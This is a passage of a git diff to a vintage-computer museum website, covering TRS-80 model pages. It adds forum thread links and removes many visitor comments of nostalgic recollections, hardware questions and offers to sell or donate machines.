floppy''s are getting worn out. Anyone know where I could find replacement disks for it ?? - - author: Charles Rose (Maine, USA) - date: Wednesday 21st October 2009 - text: Ahhh yes, the TRS-80 4P. I had one of these machines as my main computer in the mid/late 80''s. I used it to keep the books for my freelance software company as well as developed some software for it (mainly a Video renting system) in Model III mode. I have not-so-fond memeories of hauling this thing through various airports to make connecting flights. I think the only thing that made it portable was the handle in the case lol. It was seriously a very heavy ''portable'' machine. - - author: Andy (Washington) - date: Tuesday 20th June 2006 - text: Well, went to my local Goodwill today and bought one of these babys for a smokin price of 5 bucks! Anyone interested in snaging this? related: - /museum/radionic-model-r1001 - /museum/sysdata-eletronica-jr diff --git a/content/museum/tandy-radio-shack-trs-80-model-600.md b/content/museum/tandy-radio-shack-trs-80-model-600.md index 56506c6c..7c3099c8 100644 --- a/content/museum/tandy-radio-shack-trs-80-model-600.md +++ b/content/museum/tandy-radio-shack-trs-80-model-600.md @@ -59,6 +59,7 @@ params: tabs: - photos - links + forum_thread: 1039 photos: - title: MODEL 600 subtitle: '' @@ -68,16 +69,6 @@ params: - title: Complete Tandy 600 FAQ url: http://www.digitaldinos.com/Pages/Information/docT600FAQ30.html text: '' - comments: - - author: Amy Martin (US) - date: Monday 2nd October 2017 - text: I have a Tandy 600 I''m looking to sell - - author: Richard (United States) - date: Monday 30th January 2017 - text: A friend of mine found a brand new one in the original box with the plastic wrap still around it, in the back of a warehouse. - - author: leskovez (Russia) - date: Thursday 30th October 2014 - text: If someone owns the laptop let me know. Laptop needed for the museum of computer technology. I want to buy. leskovezATmail.ru oc_id: 1066 source: url: https://web.archive.org/web/20230608072808/http://www.old-computers.com/museum/computer.asp?c=1066 diff --git a/content/museum/tandy-radio-shack-trs-80-model-i.md b/content/museum/tandy-radio-shack-trs-80-model-i.md index 9500cead..6034be79 100644 --- a/content/museum/tandy-radio-shack-trs-80-model-i.md +++ b/content/museum/tandy-radio-shack-trs-80-model-i.md @@ -66,6 +66,7 @@ params: - software - emulators - links + forum_thread: 406 photos: - title: LEVEL 1 MODEL subtitle: '' @@ -431,150 +432,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Discussion about Tandy computers - comments: - - author: Lawrence M Kapenstein (United States) - date: Tuesday 3rd August 2021 - text: I found an old 5 1/4" disk with 12 years of work on it that I would like to convert to my new computer or just print. Does anyone know how to do that? - - author: John C Sullivan (United States) - date: Monday 5th March 2018 - text: Need to have data printed from my 8" disks. Anyone help? - - author: John C Sullivan (United States) - date: Monday 5th March 2018 - text: I have 8" disks that I need to print . Can anyone suggest who might be able to do this for me? - - author: Homer Le (CA/USA) - date: Thursday 3rd August 2017 - text: '1976 we develope CP/M OS with 64 Kilo Bytes, At Gnat computer: system 8 is a box robotic using to control Angelica industrial washing/drying sytems! It work like a champ! 2) system 10 personal computer (have picture on local papers .. But cánt post here! too bad! ) this was my design and development, as VP enginnering) after graduate at SDSU .. I still have a system Gnat/associate system 10, 128KB... any one have interests ? Later competitors were Osborne, Kaypro, IBM, TRS ... Now is is history! (I still have OS on disketts!) $.. Enjoy modern PC but forget not when they are born! ... LOL' - - author: Alan (USA) - date: Friday 12th May 2017 - text: |- - I remember Christmas morning that we found the TRS 80 under the tree. I did my first computer graphics on it doing point graphing a few years later and even wrote my own game after a while. - - I will have to ask my Dad what happened to it, its probably just in the attic somewhere next to an atari (what we really wanted that Christmas). - - author: emerson - date: Saturday 24th August 2013 - text: |- - Hi there, - - I''ve added a category in my iPad app to challenge your knowledge of vintage computers: - - https://itunes.apple.com/us/app/the-legend-of-zhizz/id661108464?l$pt$ls$1$mt$8 - - Regards, Emerson - - PS: thanks for this amazing website...lot of fond memories :)...and useful information $) - - author: Henry (Texas) - date: Wednesday 30th January 2013 - text: In October 1977, my first semester in high school, my father bought a TRS-80 (model 1). The Radio Shack store in Bryan, TX was unpacking it, their first one, to put on display and my father bought it before they even turned it on. It was the optional 16K memory model. We kept it a few years and added accessories, including hard drives, a thermal printer, and later a dot-matrix printer and TRS-80 desk. It was sold to a local businessman for his bookkeeping, after we got an Apple II. I remember the dot matrix printer was made of steel, cost $1000 and was very slow and loud, sounding like tiny men with jackhammers inside. - - author: The Dude (Chicago, IL) - date: Thursday 24th January 2013 - text: |- - I had one of these. I bought it used in 1981 or so when I entered high school. Level II basic with 16K. I had the disk drives, the cassette recorder, and I even had the TALKER speech box thing It sounded JUST like the system Matthew Broderick used in WarGames. I remember spending hour after house playing the games. Another computer geek/friend of mine had set up a BBS using a TRS-80. It crashed quite a bit. - - The monitor died in the early 90''s. I lost the power supply in a move. I am not sure where the speech box went, I think I sold it. I do still have the machine and a bunch of disks and tapes. It is missing at least ONE RAM chip. I had an old video arcade game in my basement. One day I turned it on to play it and, it came up with a RAM ERROR. Following the directions I was able to see the diagnostic LED''s on the board and see it was reporting the RAM chip in socket 1, row 7, was bad. Now, this is like 1993. No ebay, no real internet, how the heck am I going to find a RAM chip that has been out of production for god knows ow long? Just for grins, knowing the TRS-80 was from the same era, I popped open the TRS-80 and, it has the same RAM chips! So, I yanked one from the TRS80 to put in my stand up video game. It''s been working ever since and works to this very day. My 8 year old daughter and her friends loves the old video games. Even my wife''s nieces and nephews (ages 8 to 15) when they come over love playing these old games. Both the stand up one I still have and the old ATARI games. So, while my TRS-80 is still on a shelf, a small piece of it is still helping bring smiles to kids faces. - - author: Chuck Rose (USA) - date: Wednesday 12th December 2012 - text: In 1977-78 I was a freshman in high school and my school offered a BASIC programming class. The main computer in the class was a DEC pdp-8 with tape drives. But halfway through the school year, we got one of the first TRS80''s sold in the state of Maine. It was a 4k Level 1 system, that was quickly upgraded to a 16k Level II machine. I remember how amazed I was that the entire computer was in the keyboard unit. The pdp-8 was about the size of a large fridge! And also the little TRS-80 was much faster and had GRAPHICS! Later in life I owned several Tandy computers (Model 4p, Coco 2 and 3, and even a Tandy 1000) but I still remember the shock of of that tiny weeny little TRS 80 in my first computer science class. - - author: Geoff Greig (Australia) - date: Sunday 11th November 2012 - text: |- - The TRS 80 was the first computer I ever owned. Although I no longer have it I still have some cassettes with programs for it. - - Hard to conceive that we used to save programs on a audio cassette player - - A very addictive game we all played on it at the time was space invaders - - I have a black and white video with my then 1 year old son bashing the keyboard with a banana. He is now 32 and is well into computers. - - I must have spent 1,000''s of hours programing it. I wrote a very crude spreadsheet and version of the snake game. - - author: Melvin F. Bailey (Canada) - date: Sunday 21st October 2012 - text: |- - I bought the first TRS-80 Model I in Canada. I walked into a Vancouver B.C. Radio Shack store because of a big sign in the window that said: - - PERSONAL COMPUTERS - - I learned BASIC and wrote PC-MAIL and PC-SELL and dba CENTRAL CONSULTING in Surrey B.C. I contributed them to downloads.com as shareware and contributed my TRS80 Model II to the Victoria B.C. Museum. - - author: E.J. Wilson (Atlanta, GA, USA) - date: Tuesday 25th September 2012 - text: My father and I wrote Games Pack I and II for the Model I around 1978. Marketed by Micro Pro International, which was an office on a pig farm. The games had AI, so the computer could play. Most ran in 16K, Including Poker, Spades, and Hearts. We wrote the first Monopoly for the TRS-80, which drew the board, took care of all the banking/deeding, etc, and rolled the dice in only 32K of RAM, and they all used the speech synthesizer if you had one. - - author: Dave Yelen (NEPA, USA) - date: Sunday 29th July 2012 - text: I was hardcore TRS-80 Model I programmer - machine code and Assembly (thank you Microsoft). I built my own modem and designed an auto-dial auto answering unit and write and ran my own BBS (for only a few other friends that had modems at the time). Of course I had tons of games too. Anyone remember Voyage of the Valkyrie? Anyone remember StarFighter SC-78503? Man I spent a lot of time playing that game. - - author: Dave Yelen (NEPA, USA) - date: Sunday 29th July 2012 - text: I was hardcore TRS-80 Model I programmer - machine code and Assembly (thank you Microsoft). I built my own modem and designed an auto-dial auto answering unit and write and ran my own BBS (for only a few other friends that had modems at the time). Of course I had tons of games too. Anyone remember Voyage of the Valkyrie? Anyone remember StarFighter SC-78503? Man I spent a lot of time playing that game. - - author: C. Burke - date: Saturday 16th June 2012 - text: Does anyone remember an animated cartoon stick character named "Alfredo"? Like Mr. Bill, he got into a lot of "dangerous" comic situations. I would appreciate it if someone can tell me if there is a repro version that I can download onto my netbook. - - author: Mark R (UK) - date: Tuesday 22nd May 2012 - text: Bought the Model 1 Level 2 16k on Valentines day 1979, then later the expansion interface and disk drives. Taught myself to program in basic and assembler, then went on to write software for a career, which I still do 30+ years later. All thanks to the old Tandy. Still have her, fully working. Happy days! - - author: Peter (Luxembourg) - date: Wednesday 22nd February 2012 - text: I have a TRS-80, with extension interface, and three, yes three, disk drives. NewDos plus all the documentation is included. It still works fine, believe it or not! Lots of software such as Visicalc and a stock exchange trading program. - - author: PaulH (UK) - date: Monday 20th February 2012 - text: I remember the Model 1 well... one of its little quirks was its "bouncy" keyboard... when typing away, characters would regularly appear several times. Standard fix was a little utility that needed loading from tape each time! - - author: Jeff (United States) - date: Monday 12th December 2011 - text: I purchased a 4K Model I in November 1979. I''m pretty sure I was the first person in my community to own a personal computer. It was really cool being able to do programming at home as opposed to sitting in the lab at school. I was in college at the time! - - author: Johnny (Norway) - date: Thursday 10th November 2011 - text: I bought one of those used in 1980 from a store in Stavanger, Norway. It cost NOK 5000 and contained the Computer, Screen, tape recorder and an electrostatic printer that could dump the screen to paper. It cost me most of the money I earned in my summerjob that year. I remember that the tape recorder was very picky on the volume to be able to read the tapes. It came with the standard BASIC language and it also included an Accounting program. I remember that Radio Shack had to stop producing this Computer because it didn''t meet the FCC''s requirements for EMC. As Patrice Chouinard experienced in the hospital. - - author: Jon (United States) - date: Tuesday 31st May 2011 - text: I remember playing with one of these. I was in the 8th grade and I was introduced to BASIC programming. The TRS-80 Model I''s I saw in school had NEWDOS 80 and one unit had an expansion unit, which was used primarily for student attendance records. These systems were great for the time, but were discontinued due to interference with TV and radio signal reception. - - author: Jon Fukumoto (United States) - date: Tuesday 31st May 2011 - text: I remember playing with one of these. When I was attending intermediate school here in Hawaii, there were a couple of these machines. I remember learning how to program in BASIC and playing games on them. The games didn''t look so hot, but despite the hardware limitations, the TRS-80 Model I''s were decent. - - author: Jon Fukumoto (United States) - date: Tuesday 31st May 2011 - text: I remember playing with one of these. When I was attending intermediate school here in Hawaii, there were a couple of these machines. I remember learning how to program in BASIC and playing games on them. The games didn''t look so hot, but despite the hardware limitations, the TRS-80 Model I''s were decent. - - author: Jan-Eric (Finland) - date: Wednesday 18th May 2011 - text: |- - Back in 1978 (yes, just like all others... $-) I got my first real computer, a TRS-80 Model I. Until then, I had experimented with home.brew stuff. - - Thr TRS was still in use in 2010, controlling the 15 stepper motors in my animation camera. (More here: http://www.saunalahti.fi/animato/stand/stand.html$mplane2 ) - the TRS was ideal for this purpose thanks to its expansion interface. - - I also built a home-brew TRS, my "Frankenputer", from discrete parts - this was possible, since the TRS schematics were published! You can find info about it here: http://www.saunalahti.fi/animato/transferseu/3003s.html - - All in all, a fascinating time! - - author: Susana (Argentina) - date: Saturday 8th January 2011 - text: I had started programming with Dave Ahl´s 101 basic computer games in 76 with my dad´s Novadata. On my 16th birthday, in 1978, I received a Radio Shack as a gift. My heart longed for an Imsai but this was easily bought. I´ve never seen such wonderful books as the ones written for this computer. It was so easy to learn to program this way. 32 years later I look back and yearn for these years gone by! - - author: Roy Thorn (USA) - date: Thursday 2nd April 2009 - text: Date excapes me But- I learned to program in basic for my new TRS 80. I did formulations for chemical fertilizer manufacture. You had to balance both physical and chemical properties. So I could do my formulations on the computer for the various raw materials and final grades. This suprised every one all the way to the front office on the east coast. I ws the only one in a multie plant organization that had computer printed formulas! Was on a TRS 80 with 16K memory! Still have it and it works!!! Was a simpler time and another place - - author: David Boccabella (Australia) - date: Monday 4th September 2006 - text: Back in 1978 I was living in Adeliade, South Australia. I had known of the TRS-80 for the past year and a bit but the pricing was a little high. A local electronics company called Dick Smith Electronics was offering a clone for about half the price - equiv to a TRS-80 Model 1 Level 2 for the Level 1 price. Unfortunately delay after delay happened and I was forced in desperation to purchase a original TRS-80 Model 1 Level 1 4K ram. In 2 days I upgraded to 16k. I remeber the Level 1 basic just had 2 string variables. I saved my cents and putchased the Level 2 basics and this was the start of my programming career. Over time I got the expansion module. Diskettes (I upgraded to a Pertec disk doubler and ended up with 2 80 track double sides drives.) The Level 2 Basic was very interesting as it was tokenised. Each instruction was stored in memory as one byte. This allowed me to develop sever tricks to code development. By creating several strings I could use the varptr to get the string - location. From there I just Poked new commands into memory and when the interpreted code reached those lines - there was new code. I was able to make self modifying code for some very intensive database searches and well as creating some natural language interfaces. I'm now 46 and stilll remember the magazines and other details of the TRS-80 very fondly. - - author: Nick Wittenberg (Toronto, Canada) - date: Wednesday 20th April 2005 - text: In 1977, I was the manager of a Radio Shack in Richmond Hill, Ontario. We started selling the TRS-80s but I couldn't figure out what to do with the darn things. I bought a book on basic and learned the language. I created a program that printed out a graph, called a histogram, on a printer. The program used all 4K of RAM and I was very proud of myself. It was probably the best program I ever wrote. Another Radio Shack manager had got wind of a technique to attach a Teletype machine to the TRS-80 as a printer. So I purchased a very used Olivetti teletype machine complete with paper punch to use as my printer. It was made of iron and took two men to lift it. When I left Radio Shack, I returned the borrowed TRS-80 but I had that damned dust-gathering teletype machine for years. - - author: Michel T Dallaire (Quebec city, QC) - date: Sunday 6th March 2005 - text: |- - In 1978, my father bought a TRS-80 Model I, He wanted to be ahead for his time. At that time, I was 7 years old and fortunetely, Tandy Corporation was giving the books in english and in french. - - Since my father was working so much he was never at home, so I was using the computer every day after school and every weedend. After 6 month, when we were going to Radio Shack, I was in big discussion with salesmen and programmers. There was always a back area computer center with demo computers we could try on. - - There was a guy working there part time while going at school and he was working on a computer project. He was not able to find is bug (poking memory at wrong address), that day I found the bug in 2 minutes. The guy told me that I was wrong. So I told him I was right and he looses nothing to try it. It happens that I was right. A lawyer was there to gather information about computers and he has seen the scene. He told the salesman: "Put me one of these right away. If a 8 years old little boy can use it, that's exactly what I need" Over a 5000$ dollar sales because he took all the accessories and priter stuff. My father is still laughing about it 25 years later! ;-) - - It helped me alot to learn on a computer which has not game at all. I happy today for my knowledges about programming, algebra, english and logcial schemes. - - author: Ken Hansen (Pennington, New Jersey) - date: Friday 25th February 2005 - text: When I was in High School (graduated 1983) we had a TRS-80 lab, with about a dozen TRS-80s. I remember using the special switch (not sure of the name) that was designed to allow users to save their programs on the "server" (a floppy-equiped TRS-80) via the cassette port. The "student" would coordinate with the "administrator", who would dial the student's computer on the switch, then the "administrator" would "LOAD" from the cassette port while the student "SAVE"ed thier program to the cassette port. The "administrator" would then "SAVE" the program on to a floppy disk - the reverse was possible too. The "Networking Switch" was simply that, a switch that connected cassette ports on all the machines to each other! - - author: Philippe Serrano (France) - date: Saturday 18th October 2003 - text: 'I owned my first computer back in June 1978, a TRS-80 Model I - Basic Level II. AT the time I worked in a Photo Laboratory and I made a swap with a co-worker : my Nikon F2 camera for the TRS-80. First day at home with the computer I spent 35 hours trying to understand how it works, entering basic command lines from computing magazines.. I never took a picture anymore but I''m now working in Computing Industry :-)' - - author: Patrice Chouinard (Montréal Qc.) - date: Tuesday 3rd June 2003 - text: |- - At the time (1978) I owned a TRS-80 Model I. I also worked in an hospital. One of my co-worker wanted to see my computer. Radio-Shack had the "Carrying Case" for the computer. A set of two luggages. One for the computer and the other rather big one for the monitor. I carryied out my TRS. In break-time, we set the machine on a cantina table, plugged it and turn it on. Whowwwww "Panik in the hospital". Every single\ - piece of électronic monitoring équipment even two stairs down went completely crazy. Try to figure our faces when the chief medical found out why.\ - So that's fact... TRS-80 model I did generate a lot of radio freq. related: - /museum/radionic-model-r1001 - /museum/sysdata-eletronica-jr diff --git a/content/museum/tandy-radio-shack-trs-80-model-ii.md b/content/museum/tandy-radio-shack-trs-80-model-ii.md index ae441915..56e82dc0 100644 --- a/content/museum/tandy-radio-shack-trs-80-model-ii.md +++ b/content/museum/tandy-radio-shack-trs-80-model-ii.md @@ -62,6 +62,7 @@ params: - hardware - emulators - links + forum_thread: 253 photos: - title: MODEL II subtitle: '' @@ -239,39 +240,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Discussion about Tandy computers - comments: - - author: JonB - date: Friday 17th January 2014 - text: |- - I had a Model II with a 10MB hard drive. It was a separate unit in a matching case, so the twin 8" drives were also usable. And it was the size of a PC lying in its side, if a little less wise. I remember opening it up for a look-see and finding a belt driving the hard drive and the motor off to one side. This when all in one drives such as we see today were becoming the norm. - - I had quite a bit of software for it: Scripsit, DBase and BASIC, all running off TR-DOS, plus some CP/M disks which were (sadly) corrupted. - - author: Chuck Rose (USA) - date: Sunday 5th December 2010 - text: 'To Tom94022: The Shugart Hard Drives were sold in a separate box. The HD units could also be used with the Model III and 4 too as I recall. They also had a key lock on them for security.' - - author: Sergio Internicola (Italy) - date: Tuesday 6th November 2007 - text: In late 70's I developed a lot commercial software (accounting, insurance, etc.) for this machine (in Basic, with several critical routines written in Z80 machine language) and my company sold several of TRS-ModII. The problems with power supply involved mainly a tantalium condenser in the video card, which caused a black-out of the screen. On the other hand, it was a very good computer for its time. - - author: Tom94022 (Los Altos, CA) - date: Friday 16th March 2007 - text: |- - Shugart Associates sold a large number of 8" hard disk drives to Tandy which I believe were incorporated into some variant of the TRS80 Model II. Does anyone recall whether it replaced the FDD in the chassis or went into a separate box (perhaps replacing an external FDD?\ - Tom - - author: Lawrence Self (Brevard, NC ) - date: Friday 24th March 2006 - text: |- - I have an antique TRS-80 Model II that has a character generator ROM that is fried to a golden black. I have an EPROM reader/burner so could build another on on a 2716 chip IF I can find the code or could borrow a chip to copy, etc. I can reconstruct the code if I knew the "rules" also.\ - Help...... - - Thanks bunches - - Larry Self - - author: Luke (Airzona) - date: Wednesday 7th April 2004 - text: I recently got a complete set of the model 2. I have the moniter, keyboard, two of the 2 expansion drives that each holds 2 disks, and a unopened dot matrix printer. I still have the boxes for everthing but the moniter. I also found some mannuals and Newsletters to it. If anybody is interested or at least could give me more info about it that would be great - - author: Karim Momin (Houston, Texas) - date: Tuesday 3rd June 2003 - text: I still have this Model II...Great Memories! related: - /museum/radionic-model-r1001 - /museum/sysdata-eletronica-jr diff --git a/content/museum/tandy-radio-shack-trs-80-model-iii.md b/content/museum/tandy-radio-shack-trs-80-model-iii.md index ade254ce..449fd701 100644 --- a/content/museum/tandy-radio-shack-trs-80-model-iii.md +++ b/content/museum/tandy-radio-shack-trs-80-model-iii.md @@ -68,6 +68,7 @@ params: - emulators - links - docs + forum_thread: 38 photos: - title: REBADGED VERSION subtitle: '' @@ -291,76 +292,6 @@ params:  compiled/archived by Wade Fincher\  type of document : PDF\  source : [WinTRS80 homepage](http://www2.asub.arknet.edu/wade/) - comments: - - author: LaRoux King Gillespie (United States) - date: Thursday 18th March 2021 - text: In the later years of TRS-80 Model III I bought a 5meg external hard drive. Then IBM PC came along and I switched to it. In Kansas City we had a Radio Shack Computer User forum that met once a month in the Olathe Kansas store to share stories of how to program and get things to work. It was a giant help for me. About 30 of us met there. Dad sold me the Mod III that he had just bought for $2500 in 1982/1983. I went without lunches for a year and half to pay for that. I gave a lecture to a wealthy women''s group on Ward Parkway in about 1984 or so and took my Mod III with me to demonstrate what a computer could do. I kept mentioning how useful the users group was. After 30 minutes a lady said, "Oh, you are not talking about a drug users group." It never occurred to me to explain what a computer users groups was. - - author: LaRoux King Gillespie (United States) - date: Thursday 18th March 2021 - text: I have some old radio shack programs. and Tandy tapes that could be read by Model III in my day. Who could I donate them to? Also I have several Basic program text books who to give to? - - author: Chuck Rose (Vermont, USA) - date: Friday 26th December 2014 - text: In 1983, I worked on one of these for a Radio Shack store that also rented VHS movie tapes. It was a 48k dual floppy machine with a printer attached. My mission was to write the BASIC software necessary to inventory and keep track of which movies were currently rented out. It also printed out the tapes that were available for a given month. I got this job because I had experience with Level II BASIC on the Model I machine. Great times! :) - - author: Johannes (Switzerland) - date: Wednesday 20th August 2014 - text: 'At school we had the model I and the TRS80 model III was my first own computer. I still have it and it is still working and I also have lots of original documentation and tons of floppies. As I bought it once in Germany it has an extremely rare feature: German keyboard layout! So I''''m very proud to have it $-) Would be happy to share memories about this machine if you like: jvogel@vetphys.uzh.ch' - - author: Scott (USA) - date: Wednesday 4th June 2014 - text: |- - My parents bought me a TRS-80 Model III as a high school graduation present in 1981. That was a sweet machine at that time. Of course, I didn''t have floppy disks because those were too expensive. OTOH, I did have the new \*triple speed\* audio cassette that could load data at a zippy 1500 bits per second! - - I quickly outgrew the 16K of RAM and upgraded first to 32K and then maxed out at 48K. I still have the machine, and I still have the Model III ROM Commented book that has the assembly source code for the L2 ROM. - - Not seeking to sell...just posting for shared interest. :-) - - author: Rob (California, USA) - date: Monday 23rd July 2012 - text: |- - This was my first computer. I bought it used (or perhaps I should say that my mom bought it for me as I didn''t have money at the time (Sound familar??)) for $1000 used. Came with two caes of disk, bunch of Load-80 tapes and several books. That night I was up until 5:00 A.M.w when my mom made me go to bed. I woke up 3 hours later and was back on the machine. True, the graphics sucked even at the time, but the games were still fun. I also had fun BBSing (but for some reason it wasn''t fun when the phone bill came looking as thick as a phone book ...just kidding, but the bill was no laughing matter. Still, it was fun trying to get on that popular BBS that ALWAYS had a busy signal....\*SIGH\* I tell you kids have SO EASY now a days with the Internet. Able to listen to any song you want right away w/o having to call a radio station asking the DJ to put it on wondering f he/she would, never getting a busy signal when you want to go online. In a weird way it was fun trying to get on that populat BBS$ LOL - - How many of you remember paying $40 for a box of ten 5 1/4" floppies at Radio Shack? That''s something I don''t miss!!! I do remember an Elephant floppy I had that I used to boot the system. I used that sucker for a year at least and that floppy NEVER gave me a gram of trouble. - - author: Greg Brackett (United States) - date: Tuesday 21st February 2012 - text: I have a TRS80 III and the wide printer. Purchased back in 1985. Last used about 1995. Has been stored in excellent condition. Lots of cables and misc. Several boxes of books, magazines and software for this computer. If someone is interested in them please contact me. flyrite777@juno.com - - author: Greg Brackett (United States) - date: Tuesday 21st February 2012 - text: I have a TRS80 III and the wide printer. Purchased back in 1985. Last used about 1995. Has been stored in excellent condition. Lots of cables and misc. Several boxes of books, magazines and software for this computer. If someone is interested in them please contact me. flyrite777@juno.com - - author: Eric69 (Oullins / France) - date: Tuesday 26th July 2011 - text: |- - J''ai 2 ordinateurs à donner, TRS-80 Modèle III (64Ko, 2 flopy 5"1/4, + carte graphique) et TRS-80 Modèle IV (clavier accentué) , plus une imprimante daisyweel avec margueritte.\ - Le tout en parfait état.\ - Faire offre de rachat au prix des frais de port, ou venir chercher en france. Tel 0336 23 86 38 45. 033478 21 42 14\ - Urgent avant le 15 Aout 2011, date de destruction. Me contacter pour se mettre d''accord. - - author: Dan Harvell (Spring Lake, MI) - date: Sunday 23rd January 2011 - text: '@PAUL (FROM MICHIGAN) - I just left a job as "Computer Operator" that still prints reports off a line printer on good ol'''' greenbar paper. Stepping into that office is like stepping in a time machine! But, on topic, my experience with the TRS-80 Model III was in the 5th grade. My 5th grade teacher predicted that we would be looking up information on our computers, rather than libraries, by the time my 5th grade class was in college. We laughed at him, back then. He was right on the money.' - - author: Kenneth (Iowa ) - date: Wednesday 10th February 2010 - text: This was my first computer and I remember typing in code so I could play games. My dad still has this. Any idea if it is worth anything today? - - author: Francis Darmanin (Malta) - date: Friday 24th October 2008 - text: I purchase a new TRS 80 Mod III at the beginning of the 80''s. This came with 48K of RAM and two floppy 5.1/4" drives. I had it sent over from UK. At the time I was very interested in Amateor radio just having obtained my Ham license. I learned to program in basic using the manual supplied with the machine and this was the basis of my working in the IT field. I also purchases a unit called Terminall which I could use with my TRS 80 and Transciever to send and receive RTTY (radio teletype). Radio teletype was the old type telex. At the time machines still used punched tape to send messages but the TRS 80 with Terminall did it using software. I still have the machine sitting covered in my garage. Hopefully someone will decide to open a computer museum and it will find its righfull place there. - - author: Paul (Royal Oak, Michigan, USA) - date: Tuesday 9th January 2007 - text: Back in 1984, my freshman year of highschool, our computer classes consisted of puchcards for FORTRAN programming and the good old "Trash-80" model III for BASIC and COBOL programming. I still remember the day I discovered the "dir" command and ran every single DOS command listed, up to and including format... which formatted the system drive for the network and killedeveryones projects. Live and learn. Oh, the days of 360K 5 1/4" disks and green-bar printouts. - - author: Mary (indiana usa) - date: Monday 27th November 2006 - text: Hey there just got one today from a computer recycle place for free. ummm but how do turn this thing on! :) i used the switch next to the keyboard but the screen is blank......is it damaged? or is there a seprate switch for the screen? it has two disk drives. - - author: Jon N. (Los Angeles, CA) - date: Wednesday 10th May 2006 - text: This was my second computer. I had the Model I, and with the FCC interference regulations that shut down the Model I, I was able to trade in my Model I on a new Model III. Al of the software that I had for both computers went with this model when I sold it. - - author: Patrick Monks (USA) - date: Saturday 11th February 2006 - text: One of the "New and Improved" features was placing the "Reset" button right next to the number pad so that anyone could hit it while you were working on it! Many of us who sold these taped our business cards OVER that recessed button. On the other hand, unlike the model 1, you did not have to reach around the back to press the reset button. A very common and necessary function. - - author: Tim Alosi (Massachusetts) - date: Friday 2nd December 2005 - text: This was also my first computer. 48K of ram, floppy drive, and tape drive. .NET web services are a long way from the basic programs I used to write. - - author: David Remacle (Belgium) - date: Tuesday 13rd January 2004 - text: Tandy TRS-80 was my first vision of the Computers. I Start learn Basic Language ont that computer. - - author: J. Michael Butler (Earth) - date: Friday 5th April 2002 - text: Cut my teeth on this one. It had 64k of memory, but only 48K was addressable. Rest was ROM. Mine came with one floppy. I remember adding the second one myself - instant computer technician. I also remember using a hole punch to create "flippies" - The drives were single sided. If you bought double sided diskettes, you could notch the other side and punch a couple of holes on either side of the case for the timing hole and - voila - you could flip the diskette and use the other side! Ah, the good 'ole days... related: - /museum/radionic-model-r1001 - /museum/sysdata-eletronica-jr diff --git a/content/museum/tandy-radio-shack-trs-80-pc-1.md b/content/museum/tandy-radio-shack-trs-80-pc-1.md index 483e3cdd..97891599 100644 --- a/content/museum/tandy-radio-shack-trs-80-pc-1.md +++ b/content/museum/tandy-radio-shack-trs-80-pc-1.md @@ -64,6 +64,7 @@ params: - adverts - links - docs + forum_thread: 914 photos: - title: CLOSE-UP subtitle: '' @@ -119,37 +120,6 @@ params:  source : [Ira Goldklang's TRS-80 Revived Site](http://www.trs-80.com) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Chris Daniels (USA) - date: Wednesday 16th December 2020 - text: It used four MR44 1.35 V Mercury button cells, which are no longer manufactured. The WEINcell MRB675 is a "zinc air" substitute that works well. Several other batteries with the correct voltage will fit, but they are for fundamentally different applications, like hearing aids, and are made to discharge constantly. They will not stop when the device will turn off, and will not last very long. - - author: Bill Potter (United States) - date: Monday 17th April 2017 - text: I have a PC-1 and still use it to this day. I have a friend repairing the printer batteries and I will attempt to re-ink the ribbon. I am looking for a digital recorder that will work with the cassette interface. - - author: Dave Parker (USA) - date: Monday 2nd April 2012 - text: I have a PC-2 with the printer /cassette interface. The pens in the printer use a water based ink and I seriously doubt that you would be able to find replacements. Your best bet might be to refill the ink pens. I haven''t tried it on mine yet, but inkjet printer ink might work fine. If it''s too saturated, you might want to thin it with distilled water. - - author: Questor (USA) - date: Sunday 27th November 2011 - text: |- - @Emily - I am actually going to attempt a repair for the cloudy issue on my PC1 in the next couple of weeks... If you want me to let you know how it goes, send me a PM thru the old-computers.com forums (Username: Questor). - - Wish me luck! - - author: Emily (New Zealand) - date: Sunday 18th July 2010 - text: I have my fathers Radio Shack TRS-80 Pocket Computer. I am getting new batteries for it so I can check that it works. The screen is a little cloudy- any advice on how to fix this? - - author: Ronnie Fillers (Greeneville, TN) - date: Wednesday 21st March 2007 - text: 'where did you find the ink cartridge pens for the sharp computer - #EA-850B for the CE-150 printer? Please advise, because I have not been able to find them.' - - author: Rob Sobkoviak (Earth) - date: Wednesday 21st February 2007 - text: I have one of these computers--got it when I was about 12 years old....it was an "upgrade" to my TI-55 scientific calculator. I was the toast of the 7th grade until a few of my friends ended up spending thousands on the Apple \]\[+ :) - - author: Jeff (USA) - date: Saturday 4th October 2003 - text: |- - I still have mine.. although I have tried to replace the batteries, but it still fails to operate. Mine, however, is the Sharp version of the TRS. I have the notebook adapter that includes a thermal printer, minicassette data drive, and a nice little case. I also have several programs that run electrical calculations and statistical data. - - The earliest PDA? related: - /museum/tandy-radio-shack-trs-80-pc-2 - /museum/tandy-radio-shack-trs-80-pc-4 diff --git a/content/museum/tandy-radio-shack-trs-80-pc-2.md b/content/museum/tandy-radio-shack-trs-80-pc-2.md index 1b356cf3..6cd93c54 100644 --- a/content/museum/tandy-radio-shack-trs-80-pc-2.md +++ b/content/museum/tandy-radio-shack-trs-80-pc-2.md @@ -68,6 +68,7 @@ params: - software - links - docs + forum_thread: 942 adverts: - title: US ADVERT JULY 1982 subtitle: '' @@ -130,26 +131,6 @@ params:  type of document : PDF\  size : 10,9 MB\  source : [Ira Goldklang's TRS-80 Revived Site](http://www.trs-80.com) - comments: - - author: Jan D (Canada) - date: Tuesday 16th November 2021 - text: Just found our TRS-80 PC2...popped some batteries into it and it works! Haven''t found the instructions as yet or if there is a printer/cassette cartridge anywhere. I''ll keep looking. Can''t believe it still works...looks like new and it has the soft carry case it came in that''s like new as well. - - author: David (USA) - date: Sunday 7th October 2018 - text: |- - I got mine in 1983 or 1984, if I remember correctly Radio Shack was closing them out and we had to visit three stores, where I bought the last one. I also got the printer/cassette interface.\ - In digging through old boxes today, I found my device along with the documentation for it. Still had batteries in it, unfortunately. Looking at doing a restoration and just looking around to see what''s out there about this machine, that I used to love back then. - - author: Don Sutton (Australia) - date: Monday 30th January 2017 - text: |- - This PC was actually built by Sharp Electronics for Tandy Corp. The Sharp version called a PC-1500 had a normal looking keyboard with the letters arranged in a normal Qwerty setup. The Tandy version had more keys by having an extra enter key with the numeric pad. Very little to criticise either way. They functioned the same and were very powerful for there day. A very good optional extra was the printer/dual cassette port interface. If you were handy at tinkering you could expand the memory to 64K.\ - I had 16k on mine and used it for 